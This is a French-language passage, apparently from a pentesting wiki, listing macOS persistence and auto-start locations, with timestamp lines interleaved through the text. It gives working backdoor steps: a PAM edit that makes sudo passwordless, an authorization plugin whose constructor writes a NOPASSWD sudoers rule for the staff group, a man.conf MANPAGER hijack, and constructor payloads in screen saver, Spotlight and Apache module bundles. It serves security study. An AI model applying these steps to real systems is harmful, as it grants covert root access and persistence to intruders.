defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-09-21 18:24:59 +00:00
### Sélecteurs de Couleur
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:19:42 +00:00
* Une action très spécifique doit se produire
2024-09-21 18:24:59 +00:00
* Vous finirez dans un autre sandbox
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacement
2024-01-10 06:28:13 +00:00
* `/Library/ColorPickers`
2024-09-21 18:24:59 +00:00
* Accès root requis
* Déclencheur : Utilisez le sélecteur de couleur
2023-09-28 19:43:50 +00:00
* `~/Library/ColorPickers`
2024-09-21 18:24:59 +00:00
* Déclencheur : Utilisez le sélecteur de couleur
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
#### Description & Exploit
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
**Compilez un sélecteur de couleur** bundle avec votre code (vous pourriez utiliser [**celui-ci par exemple** ](https://github.com/viktorstrate/color-picker-plus )) et ajoutez un constructeur (comme dans la [section Économiseur d'Écran ](macos-auto-start-locations.md#screen-saver )) et copiez le bundle dans `~/Library/ColorPickers` .
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Ensuite, lorsque le sélecteur de couleur est déclenché, votre code devrait l'être aussi.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Notez que le binaire chargeant votre bibliothèque a un **sandbox très restrictif** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2024-07-18 17:36:49 +00:00
{% code overflow="wrap" %}
2023-09-28 19:43:50 +00:00
```bash
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
2023-06-01 21:09:46 +00:00
```
2023-12-30 01:07:23 +00:00
{% endcode %}
2024-09-21 18:24:59 +00:00
### Plugins de synchronisation Finder
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
**Écriture** : [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Écriture** : [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
* Utile pour contourner le bac à sable : **Non, car vous devez exécuter votre propre application**
2024-09-21 18:24:59 +00:00
* Contournement TCC : ???
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacement
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
* Une application spécifique
2023-06-01 21:09:46 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploit
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Un exemple d'application avec une extension de synchronisation Finder [**peut être trouvé ici** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Les applications peuvent avoir des `Extensions de synchronisation Finder` . Cette extension sera intégrée à une application qui sera exécutée. De plus, pour que l'extension puisse exécuter son code, elle **doit être signée** avec un certificat de développeur Apple valide, elle doit être **sandboxée** (bien que des exceptions assouplies puissent être ajoutées) et elle doit être enregistrée avec quelque chose comme :
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:19:42 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2023-09-28 19:43:50 +00:00
### Économiseur d'écran
2024-02-07 05:33:01 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
2024-07-17 18:34:44 +00:00
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
* Mais vous finirez dans un sandbox d'application commun
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:43:50 +00:00
#### Emplacement
2024-01-10 06:28:13 +00:00
* `/System/Library/Screen Savers`
2024-09-21 18:24:59 +00:00
* Root requis
2024-02-07 05:33:01 +00:00
* **Déclencheur** : Sélectionnez l'économiseur d'écran
2023-09-28 19:43:50 +00:00
* `/Library/Screen Savers`
2024-09-21 18:24:59 +00:00
* Root requis
2024-02-07 05:33:01 +00:00
* **Déclencheur** : Sélectionnez l'économiseur d'écran
2023-09-28 19:43:50 +00:00
* `~/Library/Screen Savers`
2024-02-07 05:33:01 +00:00
* **Déclencheur** : Sélectionnez l'économiseur d'écran
2023-09-28 19:43:50 +00:00
2024-05-05 22:09:31 +00:00
< figure > < img src = "../.gitbook/assets/image (38).png" alt = "" width = "375" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Description & Exploit
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **Économiseur d'écran** . Ensuite, ajoutez votre code, par exemple le code suivant pour générer des logs.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
**Construisez**-le, et copiez le bundle `.saver` dans ** `~/Library/Screen Savers` **. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de logs :
2023-09-28 19:43:50 +00:00
{% code overflow="wrap" %}
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char ** )
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
```
{% endcode %}
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Notez qu'en raison de la présence de ** `com.apple.security.app-sandbox` ** dans les droits du binaire qui charge ce code (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), vous serez **à l'intérieur du bac à sable d'application commun** .
2023-09-28 19:43:50 +00:00
{% endhint %}
2024-09-21 18:24:59 +00:00
Saver code:
2023-09-28 19:43:50 +00:00
```objectivec
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__ );
}
@end
```
2023-10-01 18:22:56 +00:00
### Plugins Spotlight
2024-02-07 05:33:01 +00:00
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/ ](https://theevilbit.github.io/beyond/beyond\_0011/ )
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
* Mais vous finirez dans un sandbox d'application
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
* Le sandbox semble très limité
2023-10-01 18:22:56 +00:00
#### Emplacement
* `~/Library/Spotlight/`
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
2023-10-01 18:22:56 +00:00
* `/Library/Spotlight/`
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
* Root requis
2023-10-01 18:22:56 +00:00
* `/System/Library/Spotlight/`
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
* Root requis
2023-10-01 18:22:56 +00:00
* `Some.app/Contents/Library/Spotlight/`
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Un nouveau fichier avec une extension gérée par le plugin spotlight est créé.
2023-12-26 02:10:49 +00:00
* Nouvelle application requise
2023-10-01 18:22:56 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Spotlight est la fonctionnalité de recherche intégrée de macOS, conçue pour fournir aux utilisateurs un **accès rapide et complet aux données sur leurs ordinateurs** .\
Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **base de données propriétaire** et crée un index en **analysant la plupart des fichiers** , permettant des recherches rapides à travers les noms de fichiers et leur contenu.
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie ** 'serveur de métadonnées'.** Ce processus orchestre l'ensemble du service Spotlight. Complétant cela, il existe plusieurs démons 'mdworker' qui effectuent une variété de tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins d'importation Spotlight, ou ** ".mdimporter bundles"**, qui permettent à Spotlight de comprendre et d'indexer le contenu à travers une gamme diversifiée de formats de fichiers.
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Les plugins ou ** `.mdimporter` ** bundles sont situés dans les endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en une minute (pas besoin de redémarrer de service). Ces bundles doivent indiquer quel **type de fichier et quelles extensions ils peuvent gérer** , de cette façon, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Il est possible de **trouver tous les `mdimporters`** chargés en cours d'exécution :
2023-10-01 18:22:56 +00:00
```bash
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
2024-09-21 18:24:59 +00:00
Et par exemple ** /Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ces types de fichiers (extensions `.iba` et `.book` parmi d'autres) :
2023-10-01 18:22:56 +00:00
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
```
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Si vous vérifiez le Plist d'autres `mdimporter` , vous ne trouverez peut-être pas l'entrée ** `UTTypeConformsTo` **. C'est parce que c'est un _Identificateur de Type Uniforme_ intégré ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) et il n'est pas nécessaire de spécifier des extensions.
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas autrement indexés par les propres `mdimporters` d'Apple.
2023-10-01 18:22:56 +00:00
{% endhint %}
2024-09-21 18:24:59 +00:00
Pour créer votre propre importateur, vous pourriez commencer par ce projet : [https://github.com/megrimm/pd-spotlight-importer ](https://github.com/megrimm/pd-spotlight-importer ) et ensuite changer le nom, le ** `CFBundleDocumentTypes` ** et ajouter ** `UTImportedTypeDeclarations` ** afin qu'il prenne en charge l'extension que vous souhaitez prendre en charge et les refléter dans ** `schema.xml` **.\
Ensuite, **changez** le code de la fonction ** `GetMetadataForFile` ** pour exécuter votre payload lorsqu'un fichier avec l'extension traitée est créé.
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé **en surveillant les journaux** ou en vérifiant ** `mdimport -L.` **
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
### ~~Panneau de Préférences~~
2023-06-01 21:09:46 +00:00
2023-09-28 19:43:50 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Il ne semble pas que cela fonctionne encore.
2023-09-28 19:43:50 +00:00
{% endhint %}
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0009/ ](https://theevilbit.github.io/beyond/beyond\_0009/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
* Cela nécessite une action utilisateur spécifique
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:43:50 +00:00
#### Emplacement
2023-06-01 21:09:46 +00:00
2023-09-28 20:19:42 +00:00
* **`/System/Library/PreferencePanes`**
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Description
2024-09-21 18:24:59 +00:00
Il ne semble pas que cela fonctionne encore.
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
## Contournement du Sandbox Root
2023-09-28 20:19:42 +00:00
{% hint style="success" %}
2024-09-21 18:24:59 +00:00
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement du sandbox** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** en étant **root** et/ou nécessitant d'autres **conditions étranges.**
2023-09-28 20:19:42 +00:00
{% endhint %}
### Périodique
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0019/ ](https://theevilbit.github.io/beyond/beyond\_0019/ )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:19:42 +00:00
* Mais vous devez être root
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:19:42 +00:00
#### Emplacement
* `/etc/periodic/daily` , `/etc/periodic/weekly` , `/etc/periodic/monthly` , `/usr/local/etc/periodic`
2024-09-21 18:24:59 +00:00
* Root requis
* **Déclencheur** : Quand le moment est venu
2023-09-28 20:19:42 +00:00
* `/etc/daily.local` , `/etc/weekly.local` ou `/etc/monthly.local`
2024-09-21 18:24:59 +00:00
* Root requis
* **Déclencheur** : Quand le moment est venu
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **lanceurs de démons** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*` . Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier** , donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges.
2024-05-05 22:09:31 +00:00
2023-09-28 19:43:50 +00:00
{% code overflow="wrap" %}
```bash
2023-09-28 20:19:42 +00:00
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
2023-09-28 19:43:50 +00:00
```
2024-02-07 05:33:01 +00:00
{% endcode %}
2024-09-21 18:24:59 +00:00
Il existe d'autres scripts périodiques qui seront exécutés indiqués dans ** `/etc/defaults/periodic.conf` ** :
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
2023-09-28 19:43:50 +00:00
```
2024-02-07 05:33:01 +00:00
Si vous parvenez à écrire l'un des fichiers `/etc/daily.local` , `/etc/weekly.local` ou `/etc/monthly.local` , il sera **exécuté tôt ou tard** .
2023-09-28 19:43:50 +00:00
2023-11-02 17:40:28 +00:00
{% hint style="warning" %}
2024-09-21 18:24:59 +00:00
Notez que le script périodique sera **exécuté en tant que propriétaire du script** . Donc, si un utilisateur régulier possède le script, il sera exécuté en tant que cet utilisateur (cela pourrait empêcher les attaques d'escalade de privilèges).
2023-11-02 17:40:28 +00:00
{% endhint %}
2023-09-28 20:19:42 +00:00
### PAM
2024-09-21 18:24:59 +00:00
Écriture : [Linux Hacktricks PAM ](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md )\
Écriture : [https://theevilbit.github.io/beyond/beyond\_0005/ ](https://theevilbit.github.io/beyond/beyond\_0005/ )
2023-09-28 19:43:50 +00:00
2024-05-05 22:09:31 +00:00
* Utile pour contourner le bac à sable : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:19:42 +00:00
* Mais vous devez être root
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:43:50 +00:00
#### Emplacement
2024-09-21 18:24:59 +00:00
* Root toujours requis
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Comme PAM est plus axé sur la **persistance** et les logiciels malveillants que sur une exécution facile dans macOS, ce blog ne donnera pas d'explication détaillée, **lisez les écrits pour mieux comprendre cette technique** .
2023-09-28 19:43:50 +00:00
2024-01-10 06:28:13 +00:00
Vérifiez les modules PAM avec :
2023-11-02 17:40:28 +00:00
```bash
ls -l /etc/pam.d
```
2024-09-21 18:24:59 +00:00
Une technique de persistance/élévation de privilèges abusant de PAM est aussi simple que de modifier le module /etc/pam.d/sudo en ajoutant au début la ligne :
2023-11-02 17:40:28 +00:00
```bash
auth sufficient pam_permit.so
```
2024-09-21 18:24:59 +00:00
Alors cela **ressemblera** à quelque chose comme ceci :
2023-11-02 17:40:28 +00:00
```bash
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
2024-09-21 18:24:59 +00:00
Et donc, toute tentative d'utiliser ** `sudo` fonctionnera**.
2023-11-02 17:40:28 +00:00
{% hint style="danger" %}
2023-12-26 02:10:49 +00:00
Notez que ce répertoire est protégé par TCC, il est donc très probable que l'utilisateur reçoive une invite demandant l'accès.
2023-11-02 17:40:28 +00:00
{% endhint %}
2024-09-21 18:24:59 +00:00
Un autre bel exemple est su, où vous pouvez voir qu'il est également possible de donner des paramètres aux modules PAM (et vous pourriez également introduire une porte dérobée dans ce fichier) :
```bash
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
```
2023-09-28 20:19:42 +00:00
### Plugins d'autorisation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 ](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65 )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
* Mais vous devez être root et faire des configurations supplémentaires
2023-12-30 01:07:23 +00:00
* Contournement de TCC : ???
2023-09-28 19:43:50 +00:00
#### Emplacement
2023-09-28 20:19:42 +00:00
* `/Library/Security/SecurityAgentPlugins/`
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 20:19:42 +00:00
* Il est également nécessaire de configurer la base de données d'autorisation pour utiliser le plugin
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Vous pouvez créer un plugin d'autorisation qui sera exécuté lorsqu'un utilisateur se connecte pour maintenir la persistance. Pour plus d'informations sur la façon de créer l'un de ces plugins, consultez les writeups précédents (et faites attention, un mal écrit peut vous verrouiller et vous devrez nettoyer votre mac depuis le mode de récupération).
2023-11-03 12:25:39 +00:00
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
2024-09-21 18:24:59 +00:00
**Déplacez** le bundle vers l'emplacement à charger :
2023-11-03 12:25:39 +00:00
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
2024-09-21 18:24:59 +00:00
Enfin, ajoutez la **règle** pour charger ce Plugin :
2023-11-03 12:25:39 +00:00
```bash
cat > /tmp/rule.plist < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2024-09-21 18:24:59 +00:00
Le ** `evaluate-mechanisms` ** indiquera au cadre d'autorisation qu'il aura besoin de **faire appel à un mécanisme externe pour l'autorisation** . De plus, ** `privileged` ** le fera exécuter par root.
2023-12-16 14:33:49 +00:00
Déclenchez-le avec :
2023-11-03 12:25:39 +00:00
```bash
security authorize com.asdf.asdf
```
2024-09-21 18:24:59 +00:00
Et ensuite, le **groupe staff devrait avoir un accès sudo** (lisez `/etc/sudoers` pour confirmer).
2023-09-28 19:43:50 +00:00
### Man.conf
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:19:42 +00:00
* Mais vous devez être root et l'utilisateur doit utiliser man
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacement
* **`/private/etc/man.conf`**
2024-09-21 18:24:59 +00:00
* Root requis
* **`/private/etc/man.conf`** : Chaque fois que man est utilisé
2023-09-28 19:43:50 +00:00
2024-02-07 05:33:01 +00:00
#### Description & Exploit
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Le fichier de configuration ** `/private/etc/man.conf` ** indique le binaire/script à utiliser lors de l'ouverture des fichiers de documentation man. Ainsi, le chemin vers l'exécutable pourrait être modifié pour que chaque fois que l'utilisateur utilise man pour lire des docs, une porte dérobée soit exécutée.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Par exemple, défini dans ** `/private/etc/man.conf` ** :
2023-09-28 19:43:50 +00:00
```
MANPAGER /tmp/view
```
2024-09-21 18:24:59 +00:00
Et ensuite créez `/tmp/view` comme :
2023-09-28 19:43:50 +00:00
```bash
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
```
2023-09-28 20:19:42 +00:00
### Apache2
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
**Écriture**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-06-03 13:10:46 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le bac à sable : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-12-26 02:10:49 +00:00
* Mais vous devez être root et apache doit être en cours d'exécution
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
* Httpd n'a pas d'autorisations
2023-06-03 13:10:46 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacement
2023-06-03 13:10:46 +00:00
2023-09-28 20:19:42 +00:00
* **`/etc/apache2/httpd.conf`**
2024-03-29 21:02:51 +00:00
* Root requis
2024-07-18 17:36:49 +00:00
* Déclencheur : Lorsque Apache2 est démarré
2023-09-28 20:19:42 +00:00
2024-02-07 05:33:01 +00:00
#### Description & Exploit
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Vous pouvez indiquer dans `/etc/apache2/httpd.conf` de charger un module en ajoutant une ligne telle que :
2023-09-28 20:19:42 +00:00
{% code overflow="wrap" %}
2023-06-03 13:10:46 +00:00
```bash
2023-09-28 20:19:42 +00:00
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
2023-06-03 13:10:46 +00:00
```
2024-02-07 05:33:01 +00:00
{% endcode %}
2024-09-21 18:24:59 +00:00
De cette façon, vos modules compilés seront chargés par Apache. La seule chose est que vous devez soit **le signer avec un certificat Apple valide** , soit **ajouter un nouveau certificat de confiance** dans le système et **le signer** avec celui-ci.
2023-09-26 23:44:52 +00:00
2024-07-18 17:36:49 +00:00
Ensuite, si nécessaire, pour vous assurer que le serveur sera démarré, vous pourriez exécuter :
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2023-12-31 00:10:32 +00:00
Exemple de code pour le Dylb :
2023-09-28 20:19:42 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
2023-09-28 19:43:50 +00:00
```
2023-09-28 20:19:42 +00:00
### Cadre d'audit BSM
2023-09-28 19:43:50 +00:00
2024-02-08 22:26:45 +00:00
